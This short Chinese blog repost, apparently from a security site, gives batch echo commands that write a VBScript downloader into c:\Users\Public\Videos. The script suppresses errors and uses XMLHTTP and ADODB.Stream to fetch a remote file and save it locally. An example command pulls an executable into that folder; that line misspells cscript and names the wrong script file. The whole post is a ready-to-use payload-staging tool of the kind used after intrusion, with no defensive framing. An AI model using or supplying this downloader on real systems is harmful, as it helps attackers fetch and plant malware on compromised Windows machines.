其他分享
首页 > 其他分享> > vbs下载脚本

vbs下载脚本

作者:互联网

echo on error resume next >c:\Users\Public\Videos\zl.vbs
echo iLocal=LCase(Wscript.Arguments(1)) >>c:\Users\Public\Videos\zl.vbs
echo iRemote=LCase(Wscript.Arguments(0)) >>c:\Users\Public\Videos\zl.vbs
echo iUser=LCase(Wscript.Arguments(2)) >>c:\Users\Public\Videos\zl.vbs
echo iPass=LCase(Wscript.Arguments(3)) >>c:\Users\Public\Videos\zl.vbs
echo set xPost=CreateObject("Microsoft.XMLHTTP") >>c:\Users\Public\Videos\zl.vbs
echo if iUser="" and iPass="" then >>c:\Users\Public\Videos\zl.vbs
echo xPost.Open "GET",iRemote,0 >>c:\Users\Public\Videos\zl.vbs
echo else >>c:\Users\Public\Videos\zl.vbs
echo xPost.Open "GET",iRemote,0,iUser,iPass >>c:\Users\Public\Videos\zl.vbs
echo end if >>c:\Users\Public\Videos\zl.vbs
echo xPost.Send() >>c:\Users\Public\Videos\zl.vbs
echo set sGet=CreateObject("ADODB.Stream") >>c:\Users\Public\Videos\zl.vbs
echo sGet.Mode=3 >>c:\Users\Public\Videos\zl.vbs
echo sGet.Type=1 >>c:\Users\Public\Videos\zl.vbs
echo sGet.Open() >>c:\Users\Public\Videos\zl.vbs
echo sGet.Write xPost.ResponseBody >>c:\Users\Public\Videos\zl.vbs
echo sGet.SaveToFile iLocal,2 >>c:\Users\Public\Videos\zl.vbs

csript 1.vbs http://127.0.0.1/1.exe c:\Users\Public\Videos\1.exe

标签:脚本,zl,Users,Videos,sGet,vbsecho,vbs,Public,下载
来源: https://www.cnblogs.com/websec80/p/14648062.html